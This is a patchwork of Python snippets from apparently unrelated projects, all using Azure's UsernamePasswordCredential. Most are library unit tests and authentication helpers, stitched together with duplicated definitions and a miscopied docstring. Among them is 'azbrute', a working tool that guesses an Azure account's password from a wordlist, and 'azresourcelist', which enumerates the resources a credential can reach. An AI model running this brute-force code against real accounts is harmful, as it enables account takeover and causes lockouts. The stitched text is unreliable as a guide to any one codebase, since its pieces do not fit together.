def test_no_scopes(): """The credential should raise when get_token is called with no scopes""" credential = UsernamePasswordCredential("client-id", "username", "password") with pytest.raises(ValueError): credential.get_token()
def test_username_password_credential(): expected_token = "access-token" client_id = "client-id" transport = validating_transport( requests=[Request()] * 3, # not validating requests because they're formed by MSAL responses=[ # tenant discovery mock_response( json_payload={ "authorization_endpoint": "https://a/b", "token_endpoint": "https://a/b" }), # user realm discovery, interests MSAL only when the response body contains account_type == "Federated" mock_response(json_payload={}), # token request mock_response( json_payload=build_aad_response(access_token=expected_token, id_token=build_id_token( aud=client_id))), ], ) credential = UsernamePasswordCredential( client_id=client_id, username="******", password="******", transport=transport, instance_discovery= False, # kwargs are passed to MSAL; this one prevents an AAD verification request ) token = credential.get_token("scope") assert token.token == expected_token
def test_username_password_credential(): expected_token = "access-token" transport = validating_transport( requests=[Request()] * 2, # not validating requests because they're formed by MSAL responses=[ # expecting tenant discovery then a token request mock_response( json_payload={ "authorization_endpoint": "https://a/b", "token_endpoint": "https://a/b" }), mock_response( json_payload={ "access_token": expected_token, "expires_in": 42, "token_type": "Bearer", "ext_expires_in": 42, }), ], ) credential = UsernamePasswordCredential( client_id="some-guid", username="******", password="******", transport=transport, instance_discovery= False, # kwargs are passed to MSAL; this one prevents an AAD verification request ) token = credential.get_token("scope") assert token.token == expected_token
def __init__(self, username, password, tenant_id=None, authority=None): self.creds = UsernamePasswordCredential( DEVELOPER_SIGN_ON_CLIENT_ID, username, password, tenant_id=tenant_id, authority=authority, ) # Wrap the credential's get_token method to ensure that only one thread # calls get_token with a specific scope. All other threads requesting a # token of the same scope will be blocked until the first has completed. # Thus pre-filling the MSAL token cache. It prevents a bunch of # unnecessary network requets for authentication. self.creds.get_token = _wait_once_per_scope(self.creds.get_token) # Request a token now as it will validate the user supplied the correct # username and password. If we did not catch that here, then each worker # would end up failing---possibly locking the user's account. # # Is using this scope a safe assumption, will all users have access to # this scope? I'd really like to validate a person's credential before # we let the workers loose, but it's impossible to know what Azure SDK # clients will be used by the user, which dictates the scope used. self.creds.get_token(ARM_SCOPE)
def test_user_agent(): transport = validating_transport( requests=[Request()] * 2 + [Request(required_headers={"User-Agent": USER_AGENT})], responses=[get_discovery_response()] * 2 + [mock_response(json_payload=build_aad_response(access_token="**", id_token=build_id_token()))], ) credential = UsernamePasswordCredential("client-id", "username", "password", transport=transport) credential.get_token("scope")
def test_obo_cert(self): client_id = self.obo_settings["client_id"] tenant_id = self.obo_settings["tenant_id"] user_credential = UsernamePasswordCredential( client_id, self.obo_settings["username"], self.obo_settings["password"], tenant_id=tenant_id ) assertion = user_credential.get_token(self.obo_settings["scope"]).token credential = OnBehalfOfCredential(tenant_id, client_id, client_certificate=self.obo_settings["cert_bytes"], user_assertion=assertion) credential.get_token(self.obo_settings["scope"])
def test_authenticate(): client_id = "client-id" environment = "localhost" issuer = "https://" + environment tenant_id = "some-tenant" authority = issuer + "/" + tenant_id access_token = "***" scope = "scope" # mock AAD response with id token object_id = "object-id" home_tenant = "home-tenant-id" username = "******" id_token = build_id_token(aud=client_id, iss=issuer, object_id=object_id, tenant_id=home_tenant, username=username) auth_response = build_aad_response(uid=object_id, utid=home_tenant, access_token=access_token, refresh_token="**", id_token=id_token) transport = validating_transport( requests=[Request(url_substring=issuer)] * 4, responses=[ get_discovery_response(authority), # instance discovery get_discovery_response(authority), # tenant discovery mock_response(status_code=404), # user realm discovery mock_response(json_payload=auth_response ), # token request following authenticate() ], ) credential = UsernamePasswordCredential( username=username, password="******", authority=environment, client_id=client_id, tenant_id=tenant_id, transport=transport, ) record = credential.authenticate(scopes=(scope, )) for auth_record in (record, credential.authentication_record): assert auth_record.authority == environment assert auth_record.home_account_id == object_id + "." + home_tenant assert auth_record.tenant_id == home_tenant assert auth_record.username == username # credential should have a cached access token for the scope passed to authenticate token = credential.get_token(scope) assert token.token == access_token
def test_tenant_id_validation(): """The credential should raise ValueError when given an invalid tenant_id""" valid_ids = {"c878a2ab-8ef4-413b-83a0-199afb84d7fb", "contoso.onmicrosoft.com", "organizations", "common"} for tenant in valid_ids: UsernamePasswordCredential("client-id", "username", "password", tenant_id=tenant) invalid_ids = {"my tenant", "my_tenant", "/", "\\", '"my-tenant"', "'my-tenant'"} for tenant in invalid_ids: with pytest.raises(ValueError): UsernamePasswordCredential("client-id", "username", "password", tenant_id=tenant)
def test_client_capabilities(): """the credential should configure MSAL for capability CP1 (ability to handle claims challenges)""" transport = Mock(send=Mock(side_effect=Exception("this test mocks MSAL, so no request should be sent"))) credential = UsernamePasswordCredential("client-id", "username", "password", transport=transport) with patch("msal.PublicClientApplication") as PublicClientApplication: credential._get_app() assert PublicClientApplication.call_count == 1 _, kwargs = PublicClientApplication.call_args assert kwargs["client_capabilities"] == ["CP1"]
class CredsViaUsernamePassword(SessionProvider): """A session provider that obtains Azure tokens via username & password. Credentials are obtained by authenticating with Azure AD using a username and password. Access tokens are cached by the underlying MSAL library and automatically refreshed as needed. The `username` is typically an email address that specifies the user. `Password` is the password for the specified username. The `tenant_id` argument is optional specifies the tenant of the user. Normally, this can be derived from the email address used as the username, so it is not required. The `authority` argument is optional and specifies the Microsoft authority host to use. If none is provided, the default is "login.microsoftonline.com". For more information, see [Azure SDK documentation](https://azuresdkdocs.blob.core.windows.net/$web/python/azure-identity/1.4.0/azure.identity.html#azure.identity.UsernamePasswordCredential) """ def __init__(self, username, password, tenant_id=None, authority=None): self.creds = UsernamePasswordCredential( DEVELOPER_SIGN_ON_CLIENT_ID, username, password, tenant_id=tenant_id, authority=authority, ) # Wrap the credential's get_token method to ensure that only one thread # calls get_token with a specific scope. All other threads requesting a # token of the same scope will be blocked until the first has completed. # Thus pre-filling the MSAL token cache. It prevents a bunch of # unnecessary network requets for authentication. self.creds.get_token = _wait_once_per_scope(self.creds.get_token) # Request a token now as it will validate the user supplied the correct # username and password. If we did not catch that here, then each worker # would end up failing---possibly locking the user's account. # # Is using this scope a safe assumption, will all users have access to # this scope? I'd really like to validate a person's credential before # we let the workers loose, but it's impossible to know what Azure SDK # clients will be used by the user, which dictates the scope used. self.creds.get_token(ARM_SCOPE) def session(self, _subscription_id): # The same credentials are used regardless of the subscription within a # tenant, which is why we ignore the subscription here--unlike AWS. return self.creds
def test_policies_configurable(): policy = Mock(spec_set=SansIOHTTPPolicy, on_request=Mock()) transport = validating_transport( requests=[Request()] * 3, responses=[get_discovery_response()] * 2 + [mock_response(json_payload=build_aad_response(access_token="**", id_token=build_id_token()))], ) credential = UsernamePasswordCredential("client-id", "username", "password", policies=[policy], transport=transport) credential.get_token("scope") assert policy.on_request.called
def test_claims_challenge(): """get_token should and authenticate pass any claims challenge to MSAL token acquisition APIs""" msal_acquire_token_result = dict( build_aad_response(access_token="**", id_token=build_id_token()), id_token_claims=id_token_claims("issuer", "subject", "audience", upn="upn"), ) expected_claims = '{"access_token": {"essential": "true"}' transport = Mock(send=Mock(side_effect=Exception("this test mocks MSAL, so no request should be sent"))) credential = UsernamePasswordCredential("client-id", "username", "password", transport=transport) with patch.object(UsernamePasswordCredential, "_get_app") as get_mock_app: msal_app = get_mock_app() msal_app.acquire_token_by_username_password.return_value = msal_acquire_token_result credential.authenticate(scopes=["scope"], claims=expected_claims) assert msal_app.acquire_token_by_username_password.call_count == 1 args, kwargs = msal_app.acquire_token_by_username_password.call_args assert kwargs["claims_challenge"] == expected_claims credential.get_token("scope", claims=expected_claims) assert msal_app.acquire_token_by_username_password.call_count == 2 args, kwargs = msal_app.acquire_token_by_username_password.call_args assert kwargs["claims_challenge"] == expected_claims msal_app.get_accounts.return_value = [{"home_account_id": credential._auth_record.home_account_id}] msal_app.acquire_token_silent_with_error.return_value = msal_acquire_token_result credential.get_token("scope", claims=expected_claims) assert msal_app.acquire_token_silent_with_error.call_count == 1 args, kwargs = msal_app.acquire_token_silent_with_error.call_args assert kwargs["claims_challenge"] == expected_claims
def test_client_capabilities(): """the credential should configure MSAL for capability CP1 unless AZURE_IDENTITY_DISABLE_CP1 is set""" transport = Mock(send=Mock(side_effect=Exception( "this test mocks MSAL, so no request should be sent"))) credential = UsernamePasswordCredential("client-id", "username", "password", transport=transport) with patch("msal.PublicClientApplication") as PublicClientApplication: credential._get_app() assert PublicClientApplication.call_count == 1 _, kwargs = PublicClientApplication.call_args assert kwargs["client_capabilities"] == ["CP1"] credential = UsernamePasswordCredential("client-id", "username", "password", transport=transport) with patch.dict("os.environ", {"AZURE_IDENTITY_DISABLE_CP1": "true"}): with patch("msal.PublicClientApplication") as PublicClientApplication: credential._get_app() assert PublicClientApplication.call_count == 1 _, kwargs = PublicClientApplication.call_args assert kwargs["client_capabilities"] is None
async def test_obo(self): client_id = self.obo_settings["client_id"] client_secret = self.obo_settings["client_secret"] tenant_id = self.obo_settings["tenant_id"] user_credential = UsernamePasswordCredential( client_id, self.obo_settings["username"], self.obo_settings["password"], tenant_id=tenant_id) assertion = user_credential.get_token(self.obo_settings["scope"]).token credential = OnBehalfOfCredential(tenant_id, client_id, client_secret, assertion) await credential.get_token(self.obo_settings["scope"])
def azresourcelist( username: str = typer.Option(..., "-u", help="Username"), password: str = typer.Option(..., "-p", prompt=True, hide_input=True, help="Password"), ): """Bruteforces password for an Azure account""" resources = {} cred = UsernamePasswordCredential("1950a258-227b-4e31-a9cf-717495945fc2", username, password) sub_client = SubscriptionClient(cred) for sub in sub_client.subscriptions.list(): resources[sub.subscription_id] = [ r.id for r in ResourceManagementClient( cred, sub.subscription_id).resources.list() ] if not resources: raise CommandUnsuccessfulError(f"Did not find resources as {username}") typer.echo(pformat(resources, indent=4)) return {"resources": resources}
def get_credentials(self): """ Get credentials """ tenant_id = self.config.get('azure.tenant_id') client_id = self.config.get('azure.client_id') client_secret = self.config.get('azure.client_secret') certificate_path = self.config.get('azure.client_certificate_path') username = self.config.get('azure.username') password = self.config.get('azure.password') if tenant_id and client_id and client_secret: return ClientSecretCredential(tenant_id=tenant_id, client_id=client_id, client_secret=client_secret) if tenant_id and client_id and certificate_path: return CertificateCredential(tenant_id=tenant_id, client_id=client_id, certificate_path=certificate_path) if client_id and username and password: return UsernamePasswordCredential(client_id=client_id, username=username, password=password) return DefaultAzureCredential()
def test_username_password_auth(live_user_details): credential = UsernamePasswordCredential( client_id=live_user_details["client_id"], username=live_user_details["username"], password=live_user_details["password"], tenant_id=live_user_details["tenant"], ) get_token(credential)
def azbrute( username: str = typer.Option(..., "-u", help="Username to bruteforce"), passList: Path = typer.Option(..., "-p", help="Path to password list"), ): """Bruteforces password for an Azure account""" validCred = {"user": username, "pass": None} with open(passList, "r", encoding="latin-1") as passes: for pwd in passes.read().splitlines(): login = UsernamePasswordCredential( "1950a258-227b-4e31-a9cf-717495945fc2", username, pwd) try: token = login.get_token("https://graph.microsoft.com/.default") validCred["pass"] = pwd except ClientAuthenticationError as e: pass if not validCred["pass"]: raise CommandUnsuccessfulError( f"Brute force for {username} unsuccessful") typer.echo(f"\nCredential found! - {validCred}\n")
def test_cache_persistence(): """The credential should cache only in memory""" expected_cache = Mock() raise_when_called = Mock(side_effect=Exception( "credential shouldn't attempt to load a persistent cache")) with patch.multiple("msal_extensions.token_cache", WindowsTokenCache=raise_when_called): with patch("msal.TokenCache", Mock(return_value=expected_cache)): credential = UsernamePasswordCredential("...", "...", "...") assert credential._cache is expected_cache
def test_username_password(self): if self.is_live and not ("username" in self.cae_settings and "password" in self.cae_settings): pytest.skip("Missing a username or password for CAE test") credential = UsernamePasswordCredential( DEVELOPER_SIGN_ON_CLIENT_ID, authority=self.cae_settings["authority"], tenant_id=self.cae_settings["tenant_id"], username=self.cae_settings["username"], password=self.cae_settings["password"], ) self.cae_test(credential)
def _generate_credential(auth_method: str, token_path: Path, **kwargs): if auth_method == AuthMethod.DeviceCode.name: credential = DeviceCodeCredential( client_id=kwargs['client_id'], client_secret=kwargs['client_secret'], disable_automatic_authentication=True, tenant_id=kwargs['tenant_id'], **_get_cache_args(token_path)) elif auth_method == AuthMethod.UsernamePassword.name: credential = UsernamePasswordCredential( client_id=kwargs['client_id'], client_credential=kwargs['client_secret'], disable_automatic_authentication=True, username=kwargs['username'], password=kwargs['password'], **_get_cache_args(token_path)) elif auth_method == AuthMethod.ClientSecret.name: credential = ClientSecretCredential( client_id=kwargs['client_id'], tenant_id=kwargs['tenant_id'], client_secret=kwargs['client_secret']) else: raise RuntimeError(f'Auth method {auth_method} not found') return credential